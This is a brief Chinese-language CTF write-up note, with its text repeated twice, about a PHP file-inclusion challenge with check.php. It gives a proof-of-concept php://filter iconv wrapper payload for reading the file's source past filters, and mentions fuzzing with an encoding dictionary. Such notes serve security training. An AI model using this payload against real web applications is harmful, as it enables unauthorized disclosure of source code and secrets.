环境简单明了,就一个include 一个check.php,试探过滤,需要fuzzing
poc:
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=check.php
再用编码器字典跑,试探
可以发现很多都是可行的
环境简单明了,就一个include 一个check.php,试探过滤,需要fuzzing
poc:
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=check.php
再用编码器字典跑,试探
可以发现很多都是可行的